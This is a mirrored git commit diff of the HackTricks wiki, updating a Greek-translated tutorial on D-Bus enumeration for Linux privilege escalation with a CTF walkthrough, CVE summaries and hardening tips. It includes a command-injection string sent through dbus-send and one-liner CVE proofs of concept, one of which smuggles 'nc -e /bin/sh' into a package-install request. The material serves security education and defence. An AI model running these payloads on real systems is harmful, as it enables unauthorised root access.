mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/d-bus-enumeration-
This commit is contained in:
parent
d90398ffe3
commit
f827b06c07
@ -4,11 +4,11 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
Το D-Bus χρησιμοποιείται ως ο μεσολαβητής επικοινωνιών διεργασιών (IPC) σε περιβάλλοντα επιφάνειας εργασίας Ubuntu. Στο Ubuntu, παρατηρείται η ταυτόχρονη λειτουργία αρκετών λεωφορείων μηνυμάτων: το σύστημα λεωφορείο, που χρησιμοποιείται κυρίως από **υπηρεσίες με προνόμια για να εκθέσουν υπηρεσίες σχετικές με το σύστημα**, και ένα λεωφορείο συνεδρίας για κάθε συνδεδεμένο χρήστη, εκθέτοντας υπηρεσίες σχετικές μόνο με αυτόν τον συγκεκριμένο χρήστη. Η εστίαση εδώ είναι κυρίως στο σύστημα λεωφορείο λόγω της σύνδεσής του με υπηρεσίες που εκτελούνται με υψηλότερα προνόμια (π.χ., root) καθώς ο στόχος μας είναι να ανυψώσουμε τα προνόμια. Σημειώνεται ότι η αρχιτεκτονική του D-Bus χρησιμοποιεί έναν 'δρομολογητή' ανά λεωφορείο συνεδρίας, ο οποίος είναι υπεύθυνος για την ανακατεύθυνση των μηνυμάτων πελατών στις κατάλληλες υπηρεσίες με βάση τη διεύθυνση που καθορίζουν οι πελάτες για την υπηρεσία με την οποία επιθυμούν να επικοινωνήσουν.
|
||||
Το D-Bus χρησιμοποιείται ως ο μεσολαβητής επικοινωνίας διεργασιών (IPC) σε περιβάλλοντα επιφάνειας εργασίας Ubuntu. Στο Ubuntu, παρατηρείται η ταυτόχρονη λειτουργία αρκετών λεωφορείων μηνυμάτων: το σύστημα λεωφορείο, το οποίο χρησιμοποιείται κυρίως από **υπηρεσίες με προνόμια για να εκθέσουν υπηρεσίες σχετικές με το σύστημα**, και ένα λεωφορείο συνεδρίας για κάθε συνδεδεμένο χρήστη, που εκθέτει υπηρεσίες σχετικές μόνο με αυτόν τον συγκεκριμένο χρήστη. Η εστίαση εδώ είναι κυρίως στο σύστημα λεωφορείο λόγω της σύνδεσής του με υπηρεσίες που εκτελούνται με υψηλότερα προνόμια (π.χ., root) καθώς ο στόχος μας είναι να ανυψώσουμε τα προνόμια. Σημειώνεται ότι η αρχιτεκτονική του D-Bus χρησιμοποιεί έναν 'δρομολογητή' ανά λεωφορείο συνεδρίας, ο οποίος είναι υπεύθυνος για την ανακατεύθυνση των μηνυμάτων πελατών στις κατάλληλες υπηρεσίες με βάση τη διεύθυνση που καθορίζεται από τους πελάτες για την υπηρεσία με την οποία επιθυμούν να επικοινωνήσουν.
|
||||
|
||||
Οι υπηρεσίες στο D-Bus ορίζονται από τα **αντικείμενα** και **διεπαφές** που εκθέτουν. Τα αντικείμενα μπορούν να παρομοιαστούν με τις περιπτώσεις κλάσεων σε τυπικές γλώσσες OOP, με κάθε περίπτωση να αναγνωρίζεται μοναδικά από μια **διαδρομή αντικειμένου**. Αυτή η διαδρομή, παρόμοια με μια διαδρομή συστήματος αρχείων, αναγνωρίζει μοναδικά κάθε αντικείμενο που εκτίθεται από την υπηρεσία. Μια βασική διεπαφή για ερευνητικούς σκοπούς είναι η διεπαφή **org.freedesktop.DBus.Introspectable**, η οποία διαθέτει μια μοναδική μέθοδο, την Introspect. Αυτή η μέθοδος επιστρέφει μια XML αναπαράσταση των υποστηριζόμενων μεθόδων, σημάτων και ιδιοτήτων του αντικειμένου, με εστίαση εδώ στις μεθόδους ενώ παραλείπονται οι ιδιότητες και τα σήματα.
|
||||
|
||||
Για την επικοινωνία με τη διεπαφή D-Bus, χρησιμοποιήθηκαν δύο εργαλεία: ένα εργαλείο CLI ονόματι **gdbus** για εύκολη κλήση μεθόδων που εκτίθενται από το D-Bus σε σενάρια, και το [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), ένα εργαλείο GUI βασισμένο σε Python σχεδιασμένο για να απαριθμεί τις διαθέσιμες υπηρεσίες σε κάθε λεωφορείο και να εμφανίζει τα αντικείμενα που περιέχονται σε κάθε υπηρεσία.
|
||||
Για την επικοινωνία με τη διεπαφή D-Bus, χρησιμοποιήθηκαν δύο εργαλεία: ένα εργαλείο CLI ονόματι **gdbus** για εύκολη κλήση μεθόδων που εκτίθενται από το D-Bus σε σενάρια, και το [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), ένα εργαλείο GUI βασισμένο σε Python σχεδιασμένο να απαριθμεί τις διαθέσιμες υπηρεσίες σε κάθε λεωφορείο και να εμφανίζει τα αντικείμενα που περιέχονται σε κάθε υπηρεσία.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -16,7 +16,7 @@ sudo apt-get install d-feet
|
||||
|
||||

|
||||
|
||||
Στην πρώτη εικόνα εμφανίζονται οι υπηρεσίες που είναι καταχωρημένες με το σύστημα D-Bus, με το **org.debin.apt** να επισημαίνεται ειδικά μετά την επιλογή του κουμπιού System Bus. Το D-Feet ερωτά αυτή την υπηρεσία για αντικείμενα, εμφανίζοντας διεπαφές, μεθόδους, ιδιότητες και σήματα για επιλεγμένα αντικείμενα, όπως φαίνεται στη δεύτερη εικόνα. Η υπογραφή κάθε μεθόδου είναι επίσης λεπτομερής.
|
||||
Στην πρώτη εικόνα εμφανίζονται οι υπηρεσίες που είναι καταχωρημένες με το σύστημα D-Bus, με το **org.debin.apt** να επισημαίνεται ειδικά μετά την επιλογή του κουμπιού System Bus. Το D-Feet ερωτά αυτή την υπηρεσία για αντικείμενα, εμφανίζοντας διεπαφές, μεθόδους, ιδιότητες και σήματα για τα επιλεγμένα αντικείμενα, όπως φαίνεται στη δεύτερη εικόνα. Η υπογραφή κάθε μεθόδου είναι επίσης λεπτομερής.
|
||||
|
||||
Μια αξιοσημείωτη δυνατότητα είναι η εμφάνιση του **process ID (pid)** και της **γραμμής εντολών** της υπηρεσίας, χρήσιμη για την επιβεβαίωση αν η υπηρεσία εκτελείται με ανυψωμένα δικαιώματα, σημαντική για τη σχετικότητα της έρευνας.
|
||||
|
||||
@ -24,13 +24,13 @@ sudo apt-get install d-feet
|
||||
|
||||
Ωστόσο, σημειώστε ότι **ορισμένες μέθοδοι απαιτούν αυθεντικοποίηση** πριν μας επιτρέψουν να τις καλέσουμε. Θα αγνοήσουμε αυτές τις μεθόδους, καθώς ο στόχος μας είναι να ανυψώσουμε τα δικαιώματά μας χωρίς διαπιστευτήρια εξαρχής.
|
||||
|
||||
Επίσης, σημειώστε ότι ορισμένες από τις υπηρεσίες ερωτούν μια άλλη υπηρεσία D-Bus που ονομάζεται org.freedeskto.PolicyKit1 αν πρέπει να επιτραπεί σε έναν χρήστη να εκτελέσει ορισμένες ενέργειες ή όχι.
|
||||
Επίσης, σημειώστε ότι ορισμένες από τις υπηρεσίες ερωτούν μια άλλη υπηρεσία D-Bus που ονομάζεται org.freedeskto.PolicyKit1 αν θα πρέπει να επιτραπεί σε έναν χρήστη να εκτελέσει ορισμένες ενέργειες ή όχι.
|
||||
|
||||
## **Cmd line Enumeration**
|
||||
|
||||
### Λίστα Αντικειμένων Υπηρεσίας
|
||||
|
||||
Είναι δυνατόν να καταγραφούν οι ανοιχτές διεπαφές D-Bus με:
|
||||
Είναι δυνατή η λίστα των ανοιχτών διεπαφών D-Bus με:
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
@ -130,9 +130,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### Εξερεύνηση Διεπαφής ενός Αντικειμένου Υπηρεσίας
|
||||
### Introspect Interface of a Service Object
|
||||
|
||||
Σημειώστε πώς σε αυτό το παράδειγμα επιλέχθηκε η τελευταία διεπαφή που ανακαλύφθηκε χρησιμοποιώντας την παράμετρο `tree` (_δείτε την προηγούμενη ενότητα_):
|
||||
Σημειώστε πώς σε αυτό το παράδειγμα επιλέχθηκε η πιο πρόσφατη διεπαφή που ανακαλύφθηκε χρησιμοποιώντας την παράμετρο `tree` (_δείτε την προηγούμενη ενότητα_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -156,7 +156,7 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
|
||||
Με αρκετά δικαιώματα (μόνο τα δικαιώματα `send_destination` και `receive_sender` δεν είναι αρκετά) μπορείτε να **παρακολουθήσετε μια επικοινωνία D-Bus**.
|
||||
|
||||
Για να **παρακολουθήσετε** μια **επικοινωνία** θα χρειαστεί να είστε **root.** Αν εξακολουθείτε να αντιμετωπίζετε προβλήματα ως root, ελέγξτε [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) και [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
Για να **παρακολουθήσετε** μια **επικοινωνία** θα χρειαστεί να είστε **root.** Αν εξακολουθείτε να έχετε προβλήματα ως root, ελέγξτε [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) και [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
> [!WARNING]
|
||||
> Αν ξέρετε πώς να ρυθμίσετε ένα αρχείο ρύθμισης D-Bus για να **επιτρέψετε σε μη root χρήστες να παρακολουθούν** την επικοινωνία, παρακαλώ **επικοινωνήστε μαζί μου**!
|
||||
@ -167,7 +167,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
Στο παρακάτω παράδειγμα, η διεπαφή `htb.oouch.Block` παρακολουθείται και **η μήνυμα "**_**lalalalal**_**" αποστέλλεται μέσω παρεξήγησης**:
|
||||
Στο παρακάτω παράδειγμα, η διεπαφή `htb.oouch.Block` παρακολουθείται και **το μήνυμα "**_**lalalalal**_**" αποστέλλεται μέσω κακής επικοινωνίας**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
@ -186,11 +186,11 @@ MESSAGE "s" {
|
||||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
Μπορείτε να χρησιμοποιήσετε το `capture` αντί για το `monitor` για να αποθηκεύσετε τα αποτελέσματα σε ένα αρχείο pcap.
|
||||
Μπορείτε να χρησιμοποιήσετε `capture` αντί για `monitor` για να αποθηκεύσετε τα αποτελέσματα σε ένα αρχείο pcap.
|
||||
|
||||
#### Φιλτράρισμα όλων των θορύβων <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
Αν υπάρχει πάρα πολλές πληροφορίες στο λεωφορείο, περάστε έναν κανόνα αντιστοίχισης όπως έτσι:
|
||||
Αν υπάρχει πάρα πολλές πληροφορίες στο λεωφορείο, περάστε έναν κανόνα αντιστοίχισης όπως παρακάτω:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
@ -231,7 +231,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
|
||||
</busconfig>
|
||||
```
|
||||
Σημειώστε από την προηγούμενη διαμόρφωση ότι **θα χρειαστεί να είστε ο χρήστης `root` ή `www-data` για να στείλετε και να λάβετε πληροφορίες** μέσω αυτής της επικοινωνίας D-BUS.
|
||||
Σημείωση από την προηγούμενη ρύθμιση ότι **θα χρειαστεί να είστε ο χρήστης `root` ή `www-data` για να στείλετε και να λάβετε πληροφορίες** μέσω αυτής της επικοινωνίας D-BUS.
|
||||
|
||||
Ως χρήστης **qtc** μέσα στο κοντέινερ docker **aeb4525789d8** μπορείτε να βρείτε κάποιο κώδικα σχετικό με το dbus στο αρχείο _/code/oouch/routes.py._ Αυτός είναι ο ενδιαφέρον κώδικας:
|
||||
```python
|
||||
@ -283,11 +283,11 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` είναι ένα εργαλείο που χρησιμοποιείται για την αποστολή μηνυμάτων στο “Message Bus”
|
||||
- Message Bus – Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με το Message Queue (τα μηνύματα είναι διατεταγμένα σε σειρά) αλλά στο Message Bus τα μηνύματα αποστέλλονται σε μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα.
|
||||
- Η ετικέτα “-system” χρησιμοποιείται για να αναφέρει ότι είναι ένα σύστημα μήνυμα, όχι ένα μήνυμα συνεδρίας (κατά προεπιλογή).
|
||||
- Message Bus – Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με το Message Queue (τα μηνύματα είναι διατεταγμένα σε ακολουθία) αλλά στο Message Bus τα μηνύματα αποστέλλονται σε μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα.
|
||||
- Η ετικέτα “-system” χρησιμοποιείται για να αναφέρει ότι είναι ένα σύστημα μήνυμα, όχι μήνυμα συνεδρίας (κατά προεπιλογή).
|
||||
- Η ετικέτα “–print-reply” χρησιμοποιείται για να εκτυπώσει το μήνυμά μας κατάλληλα και να λάβει οποιεσδήποτε απαντήσεις σε αναγνώσιμη μορφή από άνθρωπο.
|
||||
- “–dest=Dbus-Interface-Block” Η διεύθυνση της διεπαφής Dbus.
|
||||
- “–string:” – Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλά, bytes, booleans, int, objpath. Από αυτά, το “object path” είναι χρήσιμο όταν θέλουμε να στείλουμε μια διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτή την περίπτωση για να περάσουμε μια εντολή στη διεπαφή με το όνομα ενός αρχείου. “string:;” – Αυτό είναι για να καλέσουμε ξανά το object path όπου τοποθετούμε το αρχείο/εντολή FIFO reverse shell.
|
||||
- “–string:” – Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλά, bytes, booleans, int, objpath. Από αυτά, το “object path” είναι χρήσιμο όταν θέλουμε να στείλουμε μια διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτή την περίπτωση για να περάσουμε μια εντολή στη διεπαφή με το όνομα ενός αρχείου. “string:;” – Αυτό είναι για να καλέσουμε ξανά το object path όπου τοποθετούμε το αρχείο/εντολή του FIFO reverse shell.
|
||||
|
||||
_Σημειώστε ότι στο `htb.oouch.Block.Block`, το πρώτο μέρος (`htb.oouch.Block`) αναφέρεται στο αντικείμενο υπηρεσίας και το τελευταίο μέρος (`.Block`) αναφέρεται στο όνομα της μεθόδου._
|
||||
|
||||
@ -432,8 +432,75 @@ sd_bus_unref(bus);
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
}
|
||||
```
|
||||
## Αυτοματοποιημένοι Βοηθοί Απαρίθμησης (2023-2025)
|
||||
|
||||
Η απαρίθμηση μιας μεγάλης επιφάνειας επίθεσης D-Bus χειροκίνητα με `busctl`/`gdbus` γίνεται γρήγορα επώδυνη. Δύο μικρά FOSS εργαλεία που κυκλοφόρησαν τα τελευταία χρόνια μπορούν να επιταχύνουν τα πράγματα κατά τη διάρκεια εμπλοκών red-team ή CTF:
|
||||
|
||||
### dbusmap ("Nmap για D-Bus")
|
||||
* Συγγραφέας: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||
* Γραμμένο σε C; ενιαίο στατικό δυαδικό αρχείο (<50 kB) που διασχίζει κάθε διαδρομή αντικειμένου, αντλεί το XML `Introspect` και το χαρτογραφεί στο PID/UID του κατόχου.
|
||||
* Χρήσιμες σημαίες:
|
||||
```bash
|
||||
# Λίστα όλων των υπηρεσιών στο *σύστημα* bus και εξαγωγή όλων των καλούμενων μεθόδων
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# Ενεργή έρευνα μεθόδων/ιδιοτήτων που μπορείτε να προσεγγίσετε χωρίς προτροπές Polkit
|
||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
```
|
||||
* Το εργαλείο επισημαίνει τις μη προστατευμένες γνωστές ονομασίες με `!`, αποκαλύπτοντας αμέσως υπηρεσίες που μπορείτε να *καταλάβετε* (αναλάβετε) ή κλήσεις μεθόδων που είναι προσβάσιμες από ένα μη προνομιούχο shell.
|
||||
|
||||
### uptux.py
|
||||
* Συγγραφέας: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* Σενάριο μόνο Python που αναζητά *γραφόμενες* διαδρομές σε μονάδες systemd **και** υπερβολικά επιτρεπτικά αρχεία πολιτικής D-Bus (π.χ. `send_destination="*"`).
|
||||
* Γρήγορη χρήση:
|
||||
```bash
|
||||
python3 uptux.py -n # εκτέλεση όλων των ελέγχων αλλά χωρίς να γράψει αρχείο καταγραφής
|
||||
python3 uptux.py -d # ενεργοποίηση εκτενούς εξόδου αποσφαλμάτωσης
|
||||
```
|
||||
* Το module D-Bus αναζητά τους καταλόγους παρακάτω και επισημαίνει οποιαδήποτε υπηρεσία μπορεί να παραποιηθεί ή να καταληφθεί από έναν κανονικό χρήστη:
|
||||
* `/etc/dbus-1/system.d/` και `/usr/share/dbus-1/system.d/`
|
||||
* `/etc/dbus-1/system-local.d/` (υπερκαλύψεις προμηθευτή)
|
||||
|
||||
---
|
||||
|
||||
## Σημαντικά Σφάλματα Υπερβάθμισης Δικαιωμάτων D-Bus (2024-2025)
|
||||
|
||||
Η παρακολούθηση πρόσφατα δημοσιευμένων CVEs βοηθά στην ανίχνευση παρόμοιων ανασφαλών προτύπων σε προσαρμοσμένο κώδικα. Τα παρακάτω ζητήματα τοπικής EoP υψηλής επίπτωσης προέρχονται όλα από την έλλειψη αυθεντικοποίησης/εξουσιοδότησης στο **σύστημα bus**:
|
||||
|
||||
| Έτος | CVE | Συστατικό | Ρίζα Αιτίας | One-Liner PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | Η υπηρεσία συστήματος `logid` εκθέτει μια απεριόριστη διεπαφή `org.freedesktop.Logiopsd` που επιτρέπει σε *οποιονδήποτε* χρήστη να αλλάξει προφίλ συσκευών και να εισάγει αυθαίρετες εντολές shell μέσω συμβολοσειρών μακροεντολών. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Ένας proxy που εκτελείται ως root προωθεί παλιές ονομασίες bus σε υπηρεσίες backend **χωρίς να προωθεί το UID/Polkit του καλούντος**, οπότε κάθε προωθημένο αίτημα αντιμετωπίζεται ως UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Η δημόσια μέθοδος `Dispatch` στερείται οποιωνδήποτε ACLs → ο επιτιθέμενος μπορεί να διατάξει τον *εργάτη του package-manager* να εγκαταστήσει αυθαίρετα RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Πρότυπα που πρέπει να παρατηρηθούν:
|
||||
1. Η υπηρεσία εκτελείται **ως root στο σύστημα bus**.
|
||||
2. Καμία έρευνα PolicyKit (ή παρακάμπτεται από έναν proxy).
|
||||
3. Η μέθοδος οδηγεί τελικά σε `system()`/εγκατάσταση πακέτου/αναδιάρθρωση συσκευής → εκτέλεση κώδικα.
|
||||
|
||||
Χρησιμοποιήστε `dbusmap --enable-probes` ή χειροκίνητο `busctl call` για να επιβεβαιώσετε εάν μια επιδιόρθωση επιστρέφει τη σωστή λογική `polkit_authority_check_authorization()`.
|
||||
|
||||
---
|
||||
|
||||
## Γρήγορες Νίκες Σκληροποίησης & Ανίχνευσης
|
||||
|
||||
* Αναζητήστε παγκοσμίως εγγράψιμες ή *ανοιχτές για αποστολή/λήψη* πολιτικές:
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Απαιτήστε Polkit για επικίνδυνες μεθόδους – ακόμη και οι *root* proxies θα πρέπει να περάσουν το *PID του καλούντος* στη `polkit_authority_check_authorization_sync()` αντί για το δικό τους.
|
||||
* Απορρίψτε τα δικαιώματα σε μακροχρόνιους βοηθούς (χρησιμοποιήστε `sd_pid_get_owner_uid()` για να αλλάξετε namespaces μετά τη σύνδεση στο bus).
|
||||
* Εάν δεν μπορείτε να αφαιρέσετε μια υπηρεσία, τουλάχιστον *περιορίστε* την σε μια αφιερωμένη ομάδα Unix και περιορίστε την πρόσβαση στην πολιτική XML της.
|
||||
* Blue-team: ενεργοποιήστε την επίμονη καταγραφή του συστήματος bus με `busctl capture --output=/var/log/dbus_$(date +%F).pcap` και εισάγετε στο Wireshark για ανίχνευση ανωμαλιών.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
|
||||
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user